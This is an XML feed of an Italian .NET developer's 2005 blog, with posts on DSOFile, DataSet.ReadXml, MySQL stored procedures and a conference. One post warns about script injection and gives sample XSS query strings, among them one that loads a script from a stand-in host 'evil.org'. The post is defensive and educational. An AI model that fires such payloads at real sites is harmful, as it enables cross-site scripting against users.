<?xml version="1.0" encoding="iso-8859-15"?><feed version="0.3" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns="http://purl.org/atom/ns#" xml:lang="it-it"><title>naighes - Il blog di Nicola Baldi</title><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/" /><tagline type="text/html">naighes - Il blog di Nicola Baldi</tagline><id>http://blogs.aspitalia.com/naighes/</id><generator url="http://feed.aspitalia.com/" version="ASPItalia.com">feed.ASPItalia.com 'Weyoh' 4.8.703</generator><author><name>naighes - Il blog di Nicola Baldi</name><url>http://blogs.aspitalia.com/naighes/</url></author><modified>2008-07-05T07:19:45+01:00</modified><entry><title>FileInfo e Atributi: dove sono finite le altre proprieta'?</title><id>http://blogs.aspitalia.com/naighes/post1375/FileInfo-Atributi-Finite-Proprieta.aspx</id><created>2005-12-03T15:25:00+01:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1375' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;La classe &lt;a href=&quot;http://msdn.microsoft.com/library/ita/default.asp?url=/library/ITA/cpref/html/frlrfsystemiofileinfoclasstopic.asp&quot; target=&quot;_blank&quot;&gt;FileInfo&lt;/a&gt; ci consente di compiere un determinato insieme di operazione con i file.&lt;br /&gt;
La proprieta' &lt;b&gt;Attributes&lt;/b&gt; ci restituisce una serie di &lt;a href=&quot;http://msdn.microsoft.com/library/ita/default.asp?url=/library/ITA/cpref/html/frlrfsystemiofileattributesclasstopic.asp&quot;&gt;attributi&lt;/a&gt; per il file, il cui percorso, e' stato passato come parametro al costruttore della classe FileInfo.&lt;br /&gt;
Tra gli attributi ottenuti come sopra indicato, mancano le propriet&#224; di riepilogo, quali Titolo, Autore ecc.&lt;br /&gt;
E' possibile accedere alle proprieta' citate utilizzando il componente &lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?FamilyId=9BA6FAC6-520B-4A0A-878A-53EC8300C4C2&amp;displaylang=en&quot;&gt;DSOFile&lt;/a&gt;.&lt;br /&gt;
Un esempio in C# relativo all'utilizzo di questo componente:&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;code&gt;
OleDocumentPropertiesClass od = new OleDocumentPropertiesClass();&lt;br /&gt;
od.Open(&quot;C:\\Documents and Settings\\Nicola\\Documenti\\Immagini\\Immagine.jpg&quot;, true, DSOFile.dsoFileOpenOptions.dsoOptionDefault);&lt;br /&gt;
SummaryProperties sp = od.SummaryProperties;&lt;br /&gt;
&lt;br /&gt;
// Istanziamo un ArrayList che conterra' le proprieta' Custom&lt;br /&gt;
ArrayList custProps = new ArrayList();&lt;br /&gt;
foreach(CustomProperty cp in od.CustomProperties)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(cp.Type != DSOFile.dsoFilePropertyType.dsoPropertyTypeUnknown) custProps.Add(cp);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
this.LabelAuthor.Text = sp.Author;&lt;br /&gt;
this.LabelCompany.Text = sp.Company;&lt;br /&gt;
this.LabelSubject.Text = sp.Subject;&lt;br /&gt;
&lt;br /&gt;
//...&lt;br /&gt;
//...&lt;br /&gt;
//...&lt;br /&gt;
&lt;/code&gt;
&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/post1375/FileInfo-Atributi-Finite-Proprieta.aspx"/><issued>2005-12-03T15:25:00+01:00</issued><modified>2005-12-03T15:25:00+01:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1375/FileInfo-Atributi-Finite-Proprieta.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1375.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1375</trackback:ping></entry><entry><title>ASP.NET E ADO.NET su J2EE?</title><id>http://blogs.aspitalia.com/naighes/post1332/ASP.NET-ADO.NET-J2EE.aspx</id><created>2005-11-03T13:00:00+01:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1332' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;&lt;a href=&quot;http://dev.mainsoft.com/&quot;&gt;Mainsoft&lt;/a&gt; ha rilasciato un interessante plug-in per Visual Studio di nome &lt;a href=&quot;http://www.mainsoft.com/products/vmw_j2ee.aspx&quot;&gt;MainWin&lt;/a&gt;. Con esso e' possibile eseguire applicazioni .net su un server di applicazioni J2EE e possiamo avvalerci di C# o vb per scrivere il nostro codice. Il codice MSIL viene ricompilato in Java ByteCode.&lt;/p&gt;&lt;p&gt;A qualcuno interessa? No? Vabbe', forse era meglio se me ne stavo zitto! :-D&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/post1332/ASP.NET-ADO.NET-J2EE.aspx"/><issued>2005-11-03T13:00:00+01:00</issued><modified>2005-11-03T13:00:00+01:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1332/ASP.NET-ADO.NET-J2EE.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1332.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1332</trackback:ping></entry><entry><title>RCD : The day after...</title><id>http://blogs.aspitalia.com/naighes/post1312/RCD-The-Day-After.aspx</id><created>2005-10-27T16:02:00+01:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1312' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Sono rientrato a casa la sera verso l'ora di cena, ho trovato una coda pazzesca e&#160;mi sono beccato il raffreddore, il tutto condito da una buona dose di malditesta!&lt;br /&gt;Ah, dimenticavo quei terribili panzerotti con mozzarella e pomodoro... :-D&lt;/p&gt;&lt;p&gt;Beh, diciamo che, comunque, il nutrimento principale della giornata &#232; stato il &amp;quot;lasagne code&amp;quot; che gli speaker hanno illustrato nel corso della giornata!&lt;/p&gt;&lt;p&gt;E' stato il primo evento di questo genere al quale ho partecipato e, a parte i postumi descritti in precednza, sono rimasto estremamente soddisfatto!&lt;br /&gt;Gli speaker sono stati eccezionali e voglio complimentarmi con tutti loro per l'ottima organizzazione.&lt;/p&gt;&lt;p&gt;Il prossimo evento, se non ho capito male, si terr&#224; a primavera... come mancare?! ;-)&lt;/p&gt;&lt;p&gt;A dir la verit&#224;, sarebbe stata una buona occasione per conoscere tutto lo staff di aspitalia, comunit&#224; di cui faccio parte ormai da anni, ma erano sempre circondati da persone! (a me succede la stess cosa don le donne... eh eh, s&#236;, magari!)&lt;/p&gt;&lt;p&gt;Riporto un paio di scatti realizzati con la mia fotocamera.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;Che branco di scriteriati! ;-)&quot; hspace=&quot;0&quot; src=&quot;http://www.nicolabaldi.com/images/varie/RCD_Ott_2005_1.jpg&quot; align=&quot;baseline&quot; border=&quot;0&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;Ancora uno satto!&quot; hspace=&quot;0&quot; src=&quot;http://www.nicolabaldi.com/images/varie/RCD_Ott_2005_2.jpg&quot; align=&quot;baseline&quot; border=&quot;0&quot; /&gt;&lt;/p&gt;&lt;p&gt;Complimenti ancora e alla prossima!&lt;/p&gt;&lt;p&gt;PS. Adesso vogliamo il codice! &amp;gt;-D&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/post1312/RCD-The-Day-After.aspx"/><issued>2005-10-27T16:02:00+01:00</issued><modified>2005-10-27T16:02:00+01:00</modified><slash:comments>7</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1312/RCD-The-Day-After.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1312.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1312</trackback:ping></entry><entry><title>DataSet.ReadXml() e spazi dei nomi.</title><id>http://blogs.aspitalia.com/naighes/post1306/DataSet.ReadXml-Spazi-Nomi.aspx</id><created>2005-10-24T12:19:00+01:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1306' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;
Ieri ho provato a consumare uno dei feed RSS di aspitalia.&lt;br /&gt;
Il primo approccio che ho seguito e' stato il seguente:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
DataSet ds = new DataSet();&lt;br /&gt;
ds.ReadXML(&amp;quot;http://feed.aspitalia.com/feed_articoli.xml&amp;quot;);&lt;br /&gt;
this.Repeater1.DataSource = ds.Tables[&amp;quot;item&amp;quot;].DefaultView();&lt;br /&gt;
this.Repeater1.DataBind();
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Mando in esecuzione e vedo che viene generata un'eccezione.&lt;br /&gt;
Questo succede perche' il metodo ReadXML del DataSet ignora gli spazi dei nomi e tenta di creare due colonne con lo stesso nome.
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
&amp;lt;slash:comments&amp;gt;...&amp;lt;/slash:comments&amp;gt;&lt;br /&gt;
&amp;lt;wfw:comments&amp;gt;...&amp;lt;/wfw:comments&amp;gt;
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Inizialmente, avevo pensato di risolvere la questione nel seguente modo:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
protected DataTable CreateTable()&lt;br /&gt;
{&lt;br /&gt;
DataTable dt = new DataTable();&lt;br /&gt;
DataColumn dc1 = new DataColumn(&amp;quot;title&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc1);&lt;br /&gt;
DataColumn dc2 = new DataColumn(&amp;quot;data&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc2);&lt;br /&gt;
DataColumn dc3 = new DataColumn(&amp;quot;link&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc3);&lt;br /&gt;
DataColumn dc4 = new DataColumn(&amp;quot;description&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc4);&lt;br /&gt;
DataColumn dc5 = new DataColumn(&amp;quot;author&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc5);&lt;br /&gt;
return dt;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
protected void BindRepeater()&lt;br /&gt;
{&lt;br /&gt;
DataTable dt = CreateTable();&lt;br /&gt;
string url = &amp;quot;http://feed.aspitalia.com/feed_articoli.xml&amp;quot;;&lt;br /&gt;
XmlDocument doc = new XmlDocument();&lt;br /&gt;
doc.Load(url);&lt;br /&gt;
XmlNodeList items = doc.DocumentElement[&amp;quot;channel&amp;quot;].SelectNodes(&amp;quot;item&amp;quot;);&lt;br /&gt;
foreach(XmlNode node in items)&lt;br /&gt;
{&lt;br /&gt;
if (node.LocalName == &amp;quot;item&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
DataRow dr = dt.NewRow();&lt;br /&gt;
dr[&amp;quot;title&amp;quot;] = node.ChildNodes[0].InnerXml;&lt;br /&gt;
dr[&amp;quot;link&amp;quot;] = node.ChildNodes[1].InnerXml;&lt;br /&gt;
dr[&amp;quot;data&amp;quot;] = node.ChildNodes[2].InnerXml;&lt;br /&gt;
dr[&amp;quot;description&amp;quot;] = node.ChildNodes[3].InnerXml;&lt;br /&gt;
dr[&amp;quot;author&amp;quot;] = node.ChildNodes[4].InnerXml;&lt;br /&gt;
dt.Rows.Add(dr);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
this.Repeater1.DataSource = dt.DefaultView;&lt;br /&gt;
this.Repeater1.DataBind();&lt;br /&gt;
}
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Poi ho trovato invece un approccio piu' elegante che fa uso della classe XmlTransform.&lt;br /&gt;
Si inizia creando l'XSLT da applicare.&lt;br /&gt;
Una cosa del genere:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;&lt;br /&gt;
				&amp;lt;xsl:transform version=&amp;quot;1.0&amp;quot; xmlns:xsl=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot; 
				xmlns:dc=&amp;quot;http://purl.org/dc/elements/1.1/&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp; &amp;lt;xsl:output method=&amp;quot;xml&amp;quot; omit-xml-declaration=&amp;quot;yes&amp;quot;/&amp;gt;&lt;br /&gt;
				&amp;nbsp; &amp;lt;xsl:template match=&amp;quot;/&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;xsl:for-each select=&amp;quot;rss&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;xsl:for-each select=&amp;quot;channel&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;rssItems&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;xsl:for-each select=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;item&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;title&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;title&amp;quot;/&amp;gt;&amp;lt;/title&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;link&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;link&amp;quot;/&amp;gt;&amp;lt;/link&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;description&amp;gt;&amp;lt;xsl:value-of 
				select=&amp;quot;description&amp;quot;/&amp;gt;&amp;lt;/description&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;author&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;//item/dc:creator&amp;quot; /&amp;gt;&amp;lt;/author&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;/item&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
				&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/rssItems&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
				&amp;nbsp; &amp;lt;/xsl:template&amp;gt;&lt;br /&gt;
				&amp;lt;/xsl:transform&amp;gt;
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Ed ecco il codice C#:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
// leggo il contenuto del feed con un reader&lt;br /&gt;
XmlTextReader rd = new XmlTextReader(&amp;quot;http://feed.aspitalia.com/feed_articoli.xml&amp;quot;);&lt;br /&gt;
XslTransform tf = new XslTransform();&lt;br /&gt;
// Carico il modello XSLT&lt;br /&gt;
tf.Load(Request.PhysicalApplicationPath + &amp;quot;MyXslt.xslt&amp;quot;);&lt;br /&gt;
StringWriter wr = new StringWriter();&lt;br /&gt;
XPathDocument aXPath = new XPathDocument(rd);&lt;br /&gt;
// Applico il modello&lt;br /&gt;
tf.Transform(aXPath, null, wr, null);&lt;br /&gt;
rd.Close();&lt;br /&gt;wr.Close();&lt;br /&gt;
// Creo il DataSet&lt;br /&gt;
StringReader sr = new StringReader(wr.ToString());&lt;br /&gt;
DataSet ds = new DataSet();&lt;br /&gt;
ds.ReadXml(sr);&lt;br /&gt;
sr.Close();&lt;br /&gt;
//Binding&lt;br /&gt;
this.Repeater1.DataSource = ds.Tables[0].DefaultView;&lt;br /&gt;
this.Repeater1.DataBind();
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Spero che a qualcuno possa essere di aiuto.
&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/post1306/DataSet.ReadXml-Spazi-Nomi.aspx"/><issued>2005-10-24T12:19:00+01:00</issued><modified>2005-10-24T12:19:00+01:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1306/DataSet.ReadXml-Spazi-Nomi.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1306.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1306</trackback:ping></entry><entry><title>Injection Attacks!</title><id>http://blogs.aspitalia.com/naighes/post1304/Injection-Attacks.aspx</id><created>2005-10-20T13:25:00+01:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1304' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Navigando un po' in rete, mi sono reso conto che esistono svariate tipologie di attacchi basati su script injection.&lt;br /&gt;Un tipica situazione a rischio consiste, ad esempio, nel far uso di un HtmlGenericControl, ricevere l'input di un utente e di utilizzare la proprieta' innerHml per mostrarlo all'interno di una pagina.&lt;/p&gt;&lt;p&gt;Qualche esempio:&lt;/p&gt;&lt;p&gt;http://trusted.org/search.aspx?param=&lt;script&gt;&lt;/script&gt;&lt;br /&gt;http://trusted.org/search.aspx?param=&lt;script src=&quot;http://evil.org/badkama.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;http://trusted.org/COM2.IMG%20src= &amp;quot;Javascript:alert(document.domain)&amp;quot;&lt;/p&gt;&lt;p&gt;In questo caso, e' sufficiente stampare il valori in Querystring per andare incontro a grane. (questo dipende anche, ovviamente, dal valore della proprieta' validateRequest)&lt;br /&gt;Questa tecnica e' abbastanza banale, ma ne esistono moltissime piu' o meno efficaci.&lt;br /&gt;In giro per la rete&#160;si possono trovare&#160;svariati articoli che trattano un po' tutte le tipologie di attacco... l'importante e' prendere atto che queste cose esistono! (io personalmente, non vi ho mai prestato la dovuta attenzione)&lt;/p&gt;&lt;p&gt;Su MSDN e' presente un articolo, abbastanza recente, che tratta la validazione degli input con ASP.NET.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnpag2/html/paght000003.asp&quot;&gt;&lt;strong&gt;How To: Protect From Injection Attacks in ASP.NET&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Una letturina non fa assolutamente male! ;-)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Security/&quot; rel=&quot;tag&quot;&gt;Security&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/post1304/Injection-Attacks.aspx"/><issued>2005-10-20T13:25:00+01:00</issued><modified>2005-10-20T13:25:00+01:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1304/Injection-Attacks.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1304.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1304</trackback:ping></entry><entry><title>MySql 5.0 : Stored Procedure</title><id>http://blogs.aspitalia.com/naighes/post1192/MySql-5.0-Stored-Procedure.aspx</id><created>2005-09-08T12:28:00+01:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1192' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Salve a tutti!&lt;br /&gt;Un po' di tempo fa, consultando il Blog di Andrea Zani,&#160;sono venuto a conoscenza di una nuova classe .NET per accedere a MySql. Quale occasione migliore per avvicinarmi a questo database? :-)&lt;/p&gt;&lt;p&gt;In questi giorni ho installato sul mio pc la nuova versione (5.0, ancora in beta...) e scopro che tra le (molte) nuove funzionalita' introdotte, vi e' la&#160;possibilita' di realizzare&#160;&amp;quot;Stored Procedure&amp;quot;.&lt;br /&gt;A tal proposito, vi consiglio il seguente link: &lt;a href=&quot;http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.html&quot;&gt;http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Un esempio:&lt;/p&gt;&lt;p&gt;&lt;code&gt;CREATE PROCEDURE procedure1&lt;br /&gt;(IN parameter1 INTEGER)&lt;br /&gt;BEGIN&lt;br /&gt;&#160; DECLARE variable1 CHAR(10);&lt;br /&gt;&#160; IF parameter1 = 17 THEN&lt;br /&gt;&#160;&#160;&#160; SET variable1 = 'birds';&lt;br /&gt;&#160; ELSE&lt;br /&gt;&#160;&#160;&#160; SET variable1 = 'beasts';&lt;br /&gt;&#160; END IF;&lt;br /&gt;&#160; INSERT INTO table1 VALUES (variable1);&lt;br /&gt;END&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Ovviamente, l'interfacciamento con la base di dati lo effettuiamo utilizzando la classe segnalata nel Blog di Andrea Zani. Potete scaricarla al seguente indirizzo:&lt;br /&gt;&lt;a href=&quot;http://dev.mysql.com/downloads/connector/net/1.0.html&quot;&gt;http://dev.mysql.com/downloads/connector/net/1.0.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Un esempio di codice VB.NET:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Public Sub ExecProc(ByVal value As Integer)&lt;br /&gt;&#160;&#160; Dim conn As New MySqlConnection(&amp;quot;Database=Test;Data Source=localhost;User Id=username;Password=pass&amp;quot;) &lt;br /&gt;&#160;&#160; Dim cmd As New MySqlCommand(&amp;quot;procedure1&amp;quot;, conn) &lt;br /&gt;&#160;&#160; cmd.CommandType = CommandType.StoredProcedure &lt;br /&gt;&#160;&#160; Dim param1 As New MySqlParameter(&amp;quot;?parameter1&amp;quot;, MySqlDbType.Int32) &lt;br /&gt;&#160;&#160; param1.Value = value&lt;br /&gt;&#160;&#160; cmd.Parameters.Add(param1)&lt;br /&gt;&#160;&#160; conn.Open() &lt;br /&gt;&#160;&#160; cmd.ExecuteNonQuery() &lt;br /&gt;&#160;&#160; conn.Close()&lt;br /&gt;End Sub&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Database/&quot; rel=&quot;tag&quot;&gt;Database&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/MySQL/&quot; rel=&quot;tag&quot;&gt;MySQL&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/post1192/MySql-5.0-Stored-Procedure.aspx"/><issued>2005-09-08T12:28:00+01:00</issued><modified>2005-09-08T12:28:00+01:00</modified><slash:comments>6</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1192/MySql-5.0-Stored-Procedure.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1192.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1192</trackback:ping></entry><entry><title>Primo post!</title><id>http://blogs.aspitalia.com/naighes/post1057/Post.aspx</id><created>2005-05-16T18:57:00+01:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1057' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Salve a tutti!&lt;br /&gt;Dal momento che Daniele mi ha offerto l'opportunit&#224; di aprire un blog all'interno di questa comunit&#224;, che ormai frequento da molto tempo, mi sembra quantomeno doveroso presentarmi a tutti gli utenti.&lt;br /&gt;Mi chiamo Nicola Baldi, sono nato a Lucca nel 1977 e attualmnte frequento la facolt&#224; di informatica presso l'universit&#224; di Pisa (anche se, da un p&#242; di tempo, sto concentrando i miei sforzi sulla piattaforma .NET, trascurando cos&#236; gli esami che mi mancano a conseguire l'ambito traguardo!).&lt;br /&gt;Mi sono avvicinato al mondo della programmazione qualche anno fa, quando ho intrepreso la carrera universitaria. Nel corso di quest'ultima ho avuto modo di familiarizzare con Java, sul quale vertevano la maggior parte dei laboratori e,&#160;in una specifica circostanza, sempre in ambito universitario,&#160;mi sono trovato anche a sviluppare un piccolo progettino in linguaggio C.&lt;br /&gt;Circa due anni fa&#160;ho cominciato a sviluppare le mie prime pagine web con l'ausilio delle ASP&#160;mentre l'anno scorso ho scoperto il .NET Framework... ed &#232; stato amore a prima vista! ;-)&lt;br /&gt;Attualmente mi dedico prevalentemente allo sviluppo di applicazioni web utilizzando VB.NET, anche se vorrei &amp;quot;migrare&amp;quot; a C# prima possibile. (e pensare che ero abituato alla sintassi di java... ma perch&#232; non sono passato subito a C#?! ;-))&lt;br /&gt;&lt;br /&gt;Spero che questo blog mi consenta di condividere e confrontare&#160;con voi le esperienze che sto maturando in questo settore.&lt;/p&gt;&lt;p&gt;Buon lavoro (e buono studio...) a tutti!&lt;/p&gt;&lt;p&gt;PS. Domani mi operano per un'ernia... :-( spero di non assentarmi troppo! ;-)&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/naighes/post1057/Post.aspx"/><issued>2005-05-16T18:57:00+01:00</issued><modified>2005-05-16T18:57:00+01:00</modified><slash:comments>1</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1057/Post.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1057.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1057</trackback:ping></entry></feed>